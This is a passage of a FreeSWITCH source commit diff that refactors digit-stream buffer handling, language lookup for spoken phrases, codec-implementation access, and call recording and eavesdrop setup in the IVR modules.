 				buf[x] = '\0';
+				
 				if (x >= buflen || x >= maxdigits) {
 					return SWITCH_STATUS_SUCCESS;
 				}
@@ -1298,6 +1394,7 @@
 	switch_memory_pool_t *pool;
 	switch_hash_t *hash;
 	switch_size_t maxlen;
+	switch_size_t buflen;
 	switch_size_t minlen;
 	char terminator;
 	unsigned int digit_timeout_ms;
@@ -1371,24 +1468,25 @@
 	switch_status_t status = SWITCH_STATUS_FALSE;
 
 	/* if we have a parser object memory pool and a stream object pointer that is null */
-	if (parser != NULL && parser->pool && stream != NULL && *stream == NULL) {
-		*stream = (switch_ivr_digit_stream_t *) switch_core_alloc(parser->pool, sizeof(switch_ivr_digit_stream_t));
-		if (*stream != NULL) {
-			memset(*stream, 0, sizeof(switch_ivr_digit_stream_t));
-			status = SWITCH_STATUS_SUCCESS;
-		}
+	if (parser && stream && *stream == NULL) {
+		*stream = (switch_ivr_digit_stream_t *) malloc(sizeof(**stream));
+		switch_assert(*stream);
+		memset(*stream, 0, sizeof(**stream));
+		switch_zmalloc((*stream)->digits, parser->buflen + 1);
+		status = SWITCH_STATUS_SUCCESS;
 	}
 
 	return status;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t *stream)
+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t **stream)
 {
 	switch_status_t status = SWITCH_STATUS_FALSE;
 
-	if (stream && stream->digits != NULL) {
-		free(stream->digits);
-		stream->digits = NULL;
+	if (*stream) {
+		switch_safe_free((*stream)->digits);
+		free(*stream);
+		*stream = NULL;
 		status = SWITCH_STATUS_SUCCESS;
 	}
 
@@ -1409,6 +1507,11 @@
 			 * figure out when a digit set is completed, therefore we
 			 * keep track of the min and max digit lengths
 			 */
+
+			if (len > parser->buflen) {
+				parser->buflen = len;
+			}
+
 			if (parser->terminator == '\0') {
 				if (len > parser->maxlen) {
 					parser->maxlen = len;
@@ -1450,52 +1553,52 @@
 SWITCH_DECLARE(void *) switch_ivr_digit_stream_parser_feed(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t *stream, char digit)
 {
 	void *result = NULL;
+	switch_size_t len;
 
-	if (parser != NULL && stream != NULL) {
-		switch_size_t len = (stream->digits != NULL ? strlen(stream->digits) : 0);
+	switch_assert(parser);
+	switch_assert(stream);
+	switch_assert(stream->digits);
 
-		/* handle new digit arrivals */
-		if (digit != '\0') {
+	len = strlen(stream->digits);
 
-			/* if it's not a terminator digit, add it to the collected digits */
-			if (digit != parser->terminator) {
-				/* if collected digits length >= the max length of the keys
-				 * in the hash table, then left shift the digit string
-				 */
-				if (len > 0 && parser->maxlen != 0 && len >= parser->maxlen) {
-					char *src = stream->digits + 1;
-					char *dst = stream->digits;
+	/* handle new digit arrivals */
+	if (digit) {
+		/* if it's not a terminator digit, add it to the collected digits */
+		if (digit != parser->terminator) {
+			/* if collected digits length >= the max length of the keys
+			 * in the hash table, then left shift the digit string
+			 */
+			if (len > 0 && parser->maxlen != 0 && len >= parser->maxlen) {
+				char *src = stream->digits + 1;
+				char *dst = stream->digits;
 
-					while (*src) {
-						*(dst++) = *(src++);
-					}
-					*dst = digit;
-				} else {
-					char *tmp = realloc(stream->digits, len + 2);
-					switch_assert(tmp);
-					stream->digits = tmp;
-					*(stream->digits + (len++)) = digit;
-					*(stream->digits + len) = '\0';
-					stream->last_digit_time = switch_timestamp_now() / 1000;
+				while (*src) {
+					*(dst++) = *(src++);
 				}
+				*dst = digit;
+			} else {
+				*(stream->digits + (len++)) = digit;
+				*(stream->digits + len) = '\0';
+				stream->last_digit_time = switch_micro_time_now() / 1000;
 			}
 		}
-		/* don't allow collected digit string testing if there are varying sized keys until timeout */
-		if (parser->maxlen - parser->minlen > 0 && (switch_timestamp_now() / 1000) - stream->last_digit_time < parser->digit_timeout_ms) {
-			len = 0;
+	}
+
+	/* don't allow collected digit string testing if there are varying sized keys until timeout */
+	if (parser->maxlen - parser->minlen > 0 && (switch_micro_time_now() / 1000) - stream->last_digit_time < parser->digit_timeout_ms) {
+		len = 0;
+	}
+	/* if we have digits to test */
+	if (len) {
+		result = switch_core_hash_find(parser->hash, stream->digits);
+		/* if we matched the digit string, or this digit is the terminator
+		 * reset the collected digits for next digit string
+		 */
+		if (result != NULL || parser->terminator == digit) {
+			*stream->digits = '\0';
 		}
-		/* if we have digits to test */
-		if (len) {
-			result = switch_core_hash_find(parser->hash, stream->digits);
-			/* if we matched the digit string, or this digit is the terminator
-			 * reset the collected digits for next digit string
-			 */
-			if (result != NULL || parser->terminator == digit) {
-				free(stream->digits);
-				stream->digits = NULL;
-			}
-		}
 	}
+	
 
 	return result;
 }
@@ -1503,13 +1606,12 @@
 SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_reset(switch_ivr_digit_stream_t *stream)
 {
 	switch_status_t status = SWITCH_STATUS_FALSE;
+	switch_assert(stream);
+	switch_assert(stream->digits);
 
-	if (stream != NULL && stream->digits != NULL) {
-		free(stream->digits);
-		stream->digits = NULL;
-		stream->last_digit_time = 0;
-		status = SWITCH_STATUS_SUCCESS;
-	}
+	*stream->digits = '\0';
+	stream->last_digit_time = 0;
+	status = SWITCH_STATUS_SUCCESS;
 
 	return status;
 }
@@ -1536,67 +1638,67 @@
 	if (!(param = switch_xml_add_child_d(xml, "username", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->username);
+	switch_xml_set_txt_d(param, caller_profile->username);
 
 	if (!(param = switch_xml_add_child_d(xml, "dialplan", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->dialplan);
+	switch_xml_set_txt_d(param, caller_profile->dialplan);
 
 	if (!(param = switch_xml_add_child_d(xml, "caller_id_name", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->caller_id_name);
+	switch_xml_set_txt_d(param, caller_profile->caller_id_name);
 
 	if (!(param = switch_xml_add_child_d(xml, "ani", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->ani);
+	switch_xml_set_txt_d(param, caller_profile->ani);
 
 	if (!(param = switch_xml_add_child_d(xml, "aniii", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->aniii);
+	switch_xml_set_txt_d(param, caller_profile->aniii);
 
 	if (!(param = switch_xml_add_child_d(xml, "caller_id_number", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->caller_id_number);
+	switch_xml_set_txt_d(param, caller_profile->caller_id_number);
 
 	if (!(param = switch_xml_add_child_d(xml, "network_addr", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->network_addr);
+	switch_xml_set_txt_d(param, caller_profile->network_addr);
 
 	if (!(param = switch_xml_add_child_d(xml, "rdnis", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->rdnis);
+	switch_xml_set_txt_d(param, caller_profile->rdnis);
 
 	if (!(param = switch_xml_add_child_d(xml, "destination_number", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->destination_number);
+	switch_xml_set_txt_d(param, caller_profile->destination_number);
 
 	if (!(param = switch_xml_add_child_d(xml, "uuid", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->uuid);
+	switch_xml_set_txt_d(param, caller_profile->uuid);
 
 	if (!(param = switch_xml_add_child_d(xml, "source", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->source);
+	switch_xml_set_txt_d(param, caller_profile->source);
 
 	if (!(param = switch_xml_add_child_d(xml, "context", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->context);
+	switch_xml_set_txt_d(param, caller_profile->context);
 
 	if (!(param = switch_xml_add_child_d(xml, "chan_name", off++))) {
 		return -1;
 	}
-	switch_xml_set_txt(param, caller_profile->chan_name);
+	switch_xml_set_txt_d(param, caller_profile->chan_name);
 
 	return off;
 }
@@ -1857,28 +1959,29 @@
 {
 	stfu_instance_t *jb;
 	int qlen = 0;
-	switch_codec_t *read_codec;
 	stfu_frame_t *jb_frame;
 	switch_frame_t *read_frame, write_frame = { 0 };
 	switch_status_t status;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	uint32_t interval, samples;
 	uint32_t ts = 0;
+    switch_codec_implementation_t read_impl = {0};
+    switch_core_session_get_read_impl(session, &read_impl);
 
+
 	if (delay_ms < 1 || delay_ms > 10000) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid delay [%d] must be between 1 and 10000\n", delay_ms);
 		return;
 	}
 
-	read_codec = switch_core_session_get_read_codec(session);
-	interval = read_codec->implementation->microseconds_per_packet / 1000;
-	samples = switch_samples_per_packet(read_codec->implementation->samples_per_second, interval);
+	interval = read_impl.microseconds_per_packet / 1000;
+	samples = switch_samples_per_packet(read_impl.samples_per_second, interval);
 
 	qlen = delay_ms / (interval);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Setting delay to %dms (%d frames)\n", delay_ms, qlen);
 	jb = stfu_n_init(qlen);
 
-	write_frame.codec = read_codec;
+	write_frame.codec = switch_core_session_get_read_codec(session);
 
 	while (switch_channel_ready(channel)) {
 		status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
@@ -1906,8 +2009,84 @@
 											   const char *say_method, switch_input_args_t *args)
 {
 	switch_say_interface_t *si;
-	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	switch_channel_t *channel;
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	const char *save_path = NULL, *chan_lang = NULL, *lang = NULL, *lname = NULL, *sound_path = NULL;
+	switch_event_t *hint_data;
+	switch_xml_t cfg, xml = NULL, language, macros;
 
+	
+	switch_assert(session);
+	channel = switch_core_session_get_channel(session);
+	switch_assert(channel);
+
+	lang = switch_channel_get_variable(channel, "language");
+
+	if (!lang) {
+		chan_lang = switch_channel_get_variable(channel, "default_language");
+		if (!chan_lang) {
+			chan_lang = "en";
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No language specified - Using [%s]\n", chan_lang);
+	} else {
+		chan_lang = lang;
+	}
+
+	switch_event_create(&hint_data, SWITCH_EVENT_REQUEST_PARAMS);
+	switch_assert(hint_data);
+
+	switch_event_add_header_string(hint_data, SWITCH_STACK_BOTTOM, "macro_name", "say_app");
+	switch_event_add_header_string(hint_data, SWITCH_STACK_BOTTOM, "lang", chan_lang);
+	switch_channel_event_set_data(channel, hint_data);
+
+	if (switch_xml_locate("phrases", NULL, NULL, NULL, &xml, &cfg, hint_data, SWITCH_TRUE) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of phrases failed.\n");
+		goto done;
+	}
+
+	if (!(macros = switch_xml_child(cfg, "macros"))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find macros tag.\n");
+		goto done;
+	}
+
+	if (!(language = switch_xml_child(macros, "language"))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find language tag.\n");
+		goto done;
+	}
+
+	while (language) {
+		if ((lname = (char *) switch_xml_attr(language, "name")) && !strcasecmp(lname, chan_lang)) {
+			const char *tmp;
+
+			if ((tmp = switch_xml_attr(language, "module"))) {
+				module_name = tmp;
+			}
+			break;
+		}
+		language = language->next;
+	}
+
+	if (!language) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find language %s.\n", chan_lang);
+		goto done;
+	}
+
+	if (!(sound_path = (char *) switch_xml_attr(language, "sound-path"))) {
+		sound_path = (char *) switch_xml_attr(language, "sound_path");
+	}
+
+	save_path = switch_channel_get_variable(channel, "sound_prefix");
+
+	if (sound_path) {
+		switch_channel_set_variable(channel, "sound_prefix", sound_path);
+	} else {
+		switch_channel_set_variable_printf(channel, "sound_prefix", "%s%ssounds%s%s", 
+										   SWITCH_GLOBAL_dirs.base_dir,
+										   SWITCH_PATH_SEPARATOR,
+										   SWITCH_PATH_SEPARATOR,
+										   chan_lang);
+	}
+
 	if ((si = switch_loadable_module_get_say_interface(module_name))) {
 		/* should go back and proto all the say mods to const.... */
 		status = si->say_function(session, (char *) tosay, switch_ivr_get_say_type_by_name(say_type), switch_ivr_get_say_method_by_name(say_method), args);
@@ -1916,6 +2095,20 @@
 		status = SWITCH_STATUS_FALSE;
 	}
 
+ done:
+
+	if (hint_data) {
+		switch_event_destroy(&hint_data);
+	}
+
+	if (save_path) {
+		switch_channel_set_variable(channel, "sound_prefix", save_path);
+	}
+
+	if (xml) {
+		switch_xml_free(xml);
+	}
+	
 	return status;
 }
 
@@ -1923,7 +2116,7 @@
 SWITCH_DECLARE(switch_status_t) switch_ivr_set_user(switch_core_session_t *session, const char *data)
 {
 	switch_xml_t x_domain, xml = NULL, x_user, x_param, x_params, x_group = NULL;
-	char *user, *mailbox, *domain;
+	char *user, *number_alias, *domain;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_status_t status = SWITCH_STATUS_FALSE;
 
@@ -1946,8 +2139,8 @@
 
 	status = SWITCH_STATUS_SUCCESS;
 
-	if ((mailbox = (char *) switch_xml_attr(x_user, "mailbox"))) {
-		switch_channel_set_variable(channel, "mailbox", mailbox);
+	if ((number_alias = (char *) switch_xml_attr(x_user, "number-alias"))) {
+		switch_channel_set_variable(channel, "number_alias", number_alias);
 	}
 
 	if ((x_params = switch_xml_child(x_domain, "variables"))) {

Modified: freeswitch/branches/seven/src/switch_ivr_async.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_ivr_async.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_ivr_async.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Bret McDanel <bret AT 0xdecafbad dot com>
  *
@@ -78,7 +78,9 @@
 	switch_threadattr_t *thd_attr = NULL;
 #endif
 
-	switch_channel_pre_answer(channel);
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return;
+	}
 
 #ifdef SWITCH_VIDEO_IN_THREADS
 	if (switch_channel_test_flag(channel, CF_VIDEO)) {
@@ -124,7 +126,7 @@
 			if (args->input_callback) {
 				switch_event_t *event = NULL;
 
-				if (switch_core_session_dequeue_event(session, &event) == SWITCH_STATUS_SUCCESS) {
+				if (switch_core_session_dequeue_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 					status = args->input_callback(session, event, SWITCH_INPUT_TYPE_EVENT, args->buf, args->buflen);
 					switch_event_destroy(&event);
 				}
@@ -180,7 +182,14 @@
 		break;
 	case SWITCH_ABC_TYPE_CLOSE:
 		if (dh) {
+			switch_core_session_t *session = switch_core_media_bug_get_session(bug);
+			switch_channel_t *channel;
+
 			switch_core_file_close(&dh->fh);
+
+			if (session && (channel = switch_core_session_get_channel(session))) {
+				switch_channel_set_private(channel, dh->file, NULL);
+			}
 		}
 		break;
 	case SWITCH_ABC_TYPE_READ_REPLACE:
@@ -254,7 +263,14 @@
 		break;
 	case SWITCH_ABC_TYPE_CLOSE:
 		if (dh) {
+			switch_core_session_t *session = switch_core_media_bug_get_session(bug);
+			switch_channel_t *channel;
+
 			switch_core_file_close(&dh->fh);
+
+			if (session && (channel = switch_core_session_get_channel(session))) {
+				switch_channel_set_private(channel, dh->file, NULL);
+			}
 		}
 		break;
 	case SWITCH_ABC_TYPE_WRITE_REPLACE:
@@ -335,14 +351,18 @@
 SWITCH_DECLARE(switch_status_t) switch_ivr_displace_session(switch_core_session_t *session, const char *file, uint32_t limit, const char *flags)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	switch_codec_t *read_codec;
 	switch_media_bug_t *bug;
 	switch_status_t status;
 	time_t to = 0;
 	displace_helper_t *dh;
-	
-	status = switch_channel_pre_answer(channel);
+    switch_codec_implementation_t read_impl = {0};
+    switch_core_session_get_read_impl(session, &read_impl);
 
+
+	if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if (!switch_channel_media_ready(channel) || !switch_core_session_get_read_codec(session)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can not displace session.  Media not enabled on channel\n");
 		return SWITCH_STATUS_FALSE;
@@ -358,27 +378,22 @@
 	}
 
 
-	read_codec = switch_core_session_get_read_codec(session);
-	switch_assert(read_codec != NULL);
-
-	dh->fh.channels = read_codec->implementation->number_of_channels;
-	dh->fh.samplerate = read_codec->implementation->actual_samples_per_second;
+	dh->fh.channels = read_impl.number_of_channels;
+	dh->fh.samplerate = read_impl.actual_samples_per_second;
 	dh->file = switch_core_session_strdup(session, file);
 
 	if (switch_core_file_open(&dh->fh,
 							  file,
-							  read_codec->implementation->number_of_channels,
-							  read_codec->implementation->actual_samples_per_second,
+							  read_impl.number_of_channels,
+							  read_impl.actual_samples_per_second,
 							  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
 		switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 		switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
 		return SWITCH_STATUS_GENERR;
 	}
 
-	switch_channel_pre_answer(channel);
-
 	if (limit) {
-		to = switch_timestamp(NULL) + limit;
+		to = switch_epoch_time_now(NULL) + limit;
 	}
 
 	if (flags && strchr(flags, 'm')) {
@@ -405,38 +420,69 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+
+struct record_helper {
+	char *file;
+	switch_file_handle_t *fh;
+	uint32_t packet_len;
+};
+
 static switch_bool_t record_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
 {
-	switch_file_handle_t *fh = (switch_file_handle_t *) user_data;
-	uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
-	switch_frame_t frame = { 0 };
+	switch_core_session_t *session = switch_core_media_bug_get_session(bug);
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	struct record_helper *rh = (struct record_helper *) user_data;
 
-	frame.data = data;
-	frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
-
 	switch (type) {
 	case SWITCH_ABC_TYPE_INIT:
 		break;
 	case SWITCH_ABC_TYPE_CLOSE:
-		if (fh) {
-			switch_core_file_close(fh);
+		{
+			switch_codec_implementation_t read_impl = {0};
+			switch_core_session_get_read_impl(session, &read_impl);
+
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Stop recording file %s\n", rh->file);
+			switch_channel_set_private(channel, rh->file, NULL);
+			
+			if (rh->fh) {
+				if (switch_channel_test_flag(channel, CF_ANSWERED) || !switch_core_media_bug_test_flag(bug, SMBF_RECORD_ANSWER_REQ)) {
+					switch_size_t len;
+					uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
+					switch_frame_t frame = { 0 };
+					
+					
+					frame.data = data;
+					frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
+					
+					while (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS && !switch_test_flag((&frame), SFF_CNG)) {
+						len = (switch_size_t) frame.datalen / 2;
+						if (len) switch_core_file_write(rh->fh, data, &len);
+					}
+				}
+
+				switch_core_file_close(rh->fh);
+				if (rh->fh->samples_out < read_impl.samples_per_second * 3) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Discarding short file %s\n", rh->file);
+					switch_file_remove(rh->file, switch_core_session_get_pool(session));
+				}
+			}
 		}
+
 		break;
 	case SWITCH_ABC_TYPE_READ:
-		if (fh) {
+		
+		if (rh->fh) {
 			switch_size_t len;
-			switch_core_session_t *session = switch_core_media_bug_get_session(bug);
-			switch_channel_t *channel = switch_core_session_get_channel(session);
+			uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
+			switch_frame_t frame = { 0 };
 
-			if (switch_core_media_bug_read(bug, &frame) == SWITCH_STATUS_SUCCESS) {
-				int doit = 1;
-				if (!switch_channel_test_flag(channel, CF_ANSWERED) && switch_core_media_bug_test_flag(bug, SMBF_RECORD_ANSWER_REQ)) {
-					doit = 0;
-				}
-
-				if (doit) {
+			frame.data = data;
+			frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
+			
+			if (switch_channel_test_flag(channel, CF_ANSWERED) || !switch_core_media_bug_test_flag(bug, SMBF_RECORD_ANSWER_REQ)) {
+				while (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS && !switch_test_flag((&frame), SFF_CNG)) {
 					len = (switch_size_t) frame.datalen / 2;
-					switch_core_file_write(fh, frame.data, &len);
+					if (len) switch_core_file_write(rh->fh, data, &len);
 				}
 			}
 		}
@@ -454,8 +500,9 @@
 	switch_media_bug_t *bug;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 
-	if ((bug = switch_channel_get_private(channel, file))) {
-		switch_channel_set_private(channel, file, NULL);
+	if (!strcasecmp(file, "all")) {
+		return switch_core_media_bug_remove_callback(session, record_callback);
+	} else if ((bug = switch_channel_get_private(channel, file))) {
 		switch_core_media_bug_remove(session, &bug);
 		return SWITCH_STATUS_SUCCESS;
 	}
@@ -477,7 +524,7 @@
 	struct eavesdrop_pvt *ep = (struct eavesdrop_pvt *) user_data;
 	uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
 	switch_frame_t frame = { 0 };
-
+	
 	frame.data = data;
 	frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
 
@@ -489,8 +536,8 @@
 	case SWITCH_ABC_TYPE_WRITE:
 		break;
 	case SWITCH_ABC_TYPE_READ_PING:
-		if (ep->buffer) {
-			if (switch_core_media_bug_read(bug, &frame) == SWITCH_STATUS_SUCCESS) {
+		if (ep->buffer) {			
+			if (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
 				switch_buffer_lock(ep->buffer);
 				switch_buffer_zwrite(ep->buffer, frame.data, frame.datalen);
 				switch_buffer_unlock(ep->buffer);
@@ -556,7 +603,6 @@
 	switch_core_session_t *tsession;
 	switch_status_t status = SWITCH_STATUS_FALSE;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	switch_codec_t *read_codec = switch_core_session_get_read_codec(session);
 	int codec_initialized = 0;
 
 	if ((tsession = switch_core_session_locate(uuid))) {
@@ -566,11 +612,12 @@
 		switch_frame_t *read_frame, write_frame = { 0 };
 		switch_codec_t codec = { 0 };
 		int16_t buf[SWITCH_RECOMMENDED_BUFFER_SIZE / 2];
-		switch_codec_t *tread_codec = switch_core_session_get_read_codec(tsession);
 		uint32_t tlen;
 		const char *macro_name = "eavesdrop_announce";
 		const char *id_name = NULL;
+		switch_codec_implementation_t tread_impl = {0}, read_impl = {0};
 
+		
 		if (!switch_channel_media_ready(channel)) {
 			goto end;
 		}
@@ -579,6 +626,9 @@
 			goto end;
 		}
 
+		switch_core_session_get_read_impl(tsession, &tread_impl);
+		switch_core_session_get_read_impl(session, &read_impl);
+
 		if ((id_name = switch_channel_get_variable(tchannel, "eavesdrop_announce_id"))) {
 			const char *tmp = switch_channel_get_variable(tchannel, "eavesdrop_annnounce_macro");
 			if (tmp) {
@@ -622,16 +672,20 @@
 
 		ep = switch_core_session_alloc(session, sizeof(*ep));
 
-		tlen = tread_codec->implementation->decoded_bytes_per_packet;
+		tlen = tread_impl.decoded_bytes_per_packet;
 
-		switch_channel_pre_answer(channel);
 
+		if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+			goto end;
+		}
+
+
 		if (switch_core_codec_init(&codec,
 								   "L16",
 								   NULL,
-								   tread_codec->implementation->actual_samples_per_second,
-								   tread_codec->implementation->microseconds_per_packet / 1000,
-								   tread_codec->implementation->number_of_channels,
+								   tread_impl.actual_samples_per_second,
+								   tread_impl.microseconds_per_packet / 1000,
+								   tread_impl.number_of_channels,
 								   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
 								   NULL, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot init codec\n");
@@ -645,7 +699,7 @@
 		write_frame.codec = &codec;
 		write_frame.data = buf;
 		write_frame.buflen = sizeof(buf);
-		write_frame.rate = read_codec->implementation->actual_samples_per_second;
+		write_frame.rate = codec.implementation->actual_samples_per_second;
 
 		ep->flags = flags;
 		switch_mutex_init(&ep->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(tsession));
@@ -680,7 +734,7 @@
 				goto end;
 			}
 
-			if (switch_core_session_dequeue_event(session, &event) == SWITCH_STATUS_SUCCESS) {
+			if (switch_core_session_dequeue_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 				char *command = switch_event_get_header(event, "eavesdrop-command");
 				if (command) {
 					fcommand = command;
@@ -731,7 +785,7 @@
 							switch_buffer_zero(ep->r_buffer);
 							switch_buffer_unlock(ep->r_buffer);
 						}
-
+						
 						if (ep->w_buffer) {
 							switch_buffer_lock(ep->w_buffer);
 							switch_buffer_zero(ep->w_buffer);
@@ -760,6 +814,7 @@
 				while (switch_buffer_inuse(ep->buffer) >= len) {
 					write_frame.datalen = (uint32_t) switch_buffer_read(ep->buffer, buf, len);
 					write_frame.samples = write_frame.datalen / 2;
+
 					if ((status = switch_core_session_write_frame(session, &write_frame, SWITCH_IO_FLAG_NONE, 0)) != SWITCH_STATUS_SUCCESS) {
 						break;
 					}
@@ -803,24 +858,29 @@
 SWITCH_DECLARE(switch_status_t) switch_ivr_record_session(switch_core_session_t *session, char *file, uint32_t limit, switch_file_handle_t *fh)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	switch_codec_t *read_codec = switch_core_session_get_read_codec(session);
 	const char *p;
 	const char *vval;
 	switch_media_bug_t *bug;
 	switch_status_t status;
 	time_t to = 0;
-	switch_media_bug_flag_t flags = SMBF_READ_STREAM | SMBF_WRITE_STREAM;
+	switch_media_bug_flag_t flags = SMBF_READ_STREAM | SMBF_WRITE_STREAM | SMBF_READ_PING;
 	uint8_t channels;
+	switch_codec_implementation_t read_impl = {0};
+	struct record_helper *rh = NULL;
 
-	status = switch_channel_pre_answer(channel);
+    switch_core_session_get_read_impl(session, &read_impl);
 
+	if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if (!switch_channel_media_ready(channel) || !switch_core_session_get_read_codec(session)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can not record session.  Media not enabled on channel\n");
 		return SWITCH_STATUS_FALSE;
 	}
 
-	channels = read_codec->implementation->number_of_channels;
-
+	channels = read_impl.number_of_channels;
+	
 	if ((bug = switch_channel_get_private(channel, file))) {
 		return switch_ivr_stop_record_session(session, file);
 	}
@@ -835,19 +895,34 @@
 		flags |= SMBF_STEREO;
 		channels = 2;
 	}
-
+		
 	if ((p = switch_channel_get_variable(channel, "RECORD_ANSWER_REQ")) && switch_true(p)) {
 		flags |= SMBF_RECORD_ANSWER_REQ;
 	}
 
+
+	fh->samplerate = 0;
+	if ((vval = switch_channel_get_variable(channel, "record_sample_rate"))) {
+		int tmp = 0;
+
+		tmp = atoi(vval);
+
+		if (switch_is_valid_rate(tmp)) {
+			fh->samplerate = tmp;
+		}
+	}
+
+	if (!fh->samplerate) {
+		fh->samplerate = read_impl.actual_samples_per_second;
+	}
+
 	fh->channels = channels;
-	fh->samplerate = read_codec->implementation->actual_samples_per_second;
 	fh->pre_buffer_datalen = SWITCH_DEFAULT_FILE_BUFFER_LEN;
 
 	if (switch_core_file_open(fh,
 							  file,
 							  channels,
-							  read_codec->implementation->actual_samples_per_second,
+							  read_impl.actual_samples_per_second,
 							  SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening %s\n", file);
 		switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -892,10 +967,15 @@
 	}
 
 	if (limit) {
-		to = switch_timestamp(NULL) + limit;
+		to = switch_epoch_time_now(NULL) + limit;
 	}
 
-	if ((status = switch_core_media_bug_add(session, record_callback, fh, to, flags, &bug)) != SWITCH_STATUS_SUCCESS) {
+	rh = switch_core_session_alloc(session, sizeof(*rh));
+	rh->fh = fh;
+	rh->file = switch_core_session_strdup(session, file);
+	rh->packet_len = read_impl.decoded_bytes_per_packet;
